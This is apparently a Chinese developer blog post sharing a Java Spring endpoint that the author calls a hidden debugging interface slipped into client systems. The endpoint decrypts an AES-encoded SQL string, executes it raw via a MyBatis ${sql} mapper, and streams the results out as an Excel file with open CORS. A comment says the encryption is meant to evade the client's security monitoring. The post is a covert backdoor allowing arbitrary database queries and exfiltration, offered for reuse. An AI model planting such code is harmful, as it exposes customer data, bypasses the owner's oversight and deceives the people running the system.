夹带了亿点点私货隐藏的线上调试接口,跟连半天客户内网数据库查个东西说byebye, -,-

作用:将select * from tb_xxx的结果用excel表导出来
慎用!慎用!慎用!慎用!

	@RequestMapping("/findtable")
	public void findTable(HttpServletResponse response, String sql) throws UnsupportedEncodingException {
		if (DrinStringUtils.isNull(sql)) {
			return;
		}
		try {
			//弄个加解密,要不然sql会被安全监管发现,哈哈
			sql = ZYUtilCrypt.decryptAES(sql);
		} catch (Exception e) {
			return;
		}
		response.reset();
		response.setContentType("application/octet-stream; charset=utf-8");
		// response.setHeader("responseType", "blob");
		response.setHeader("Access-Control-Allow-Origin", "*");
		response.setHeader("Content-Disposition",
				"attachment; filename=" + URLEncoder.encode("数据列表.xlsx", "UTF-8").replaceAll("\\+", "%20"));
		//构建表对象
		SXSSFWorkbook wb = new SXSSFWorkbook(5000);
		SXSSFSheet sheet = (SXSSFSheet) wb.createSheet();
		sheet.setRandomAccessWindowSize(-1);
		wb.setSheetName(0, "数据列表");
		//查询sql,简单粗爆!!!
		//<select id="excuterSql" resultType="map">
		//  ${sql}
		//</select>
		List<HashMap<String, Object>> excuterSql = importDao.excuterSql(sql);
		if (excuterSql.size() == 0) {
			wb.dispose();
			return;
		}
		//初始化excel表
		int i = 0;
		HashMap<String, Object> headMap = excuterSql.get(0);
		List<String> headkeyList = keyList(headMap);
		Row headdataRow = sheet.createRow(i++);
		//取第一行的字段名作为表头
		for (int j = 0; j < headkeyList.size(); j++) {
			Cell cell = headdataRow.createCell(j);
			cell.setCellValue(headkeyList.get(j));
		}
		//初始化数据
		for (HashMap<String, Object> dataMap : excuterSql) {
			Row dataRow = sheet.createRow(i++);
			for (int k = 0; k < headkeyList.size(); k++) {
				Object value = dataMap.get(headkeyList.get(k));
				Cell cell = dataRow.createCell(k);
				cell.setCellValue(String.valueOf(value));
			}
		}
		//响应文件
		try (ServletOutputStream outputStream = response.getOutputStream()) {
			wb.write(outputStream);
			wb.dispose();
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

	private List<String> keyList(HashMap<String, Object> dataMap) {
		Set<String> keySet = dataMap.keySet();
		List<String> keyList = new ArrayList<>(keySet);
		return keyList;
	}
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值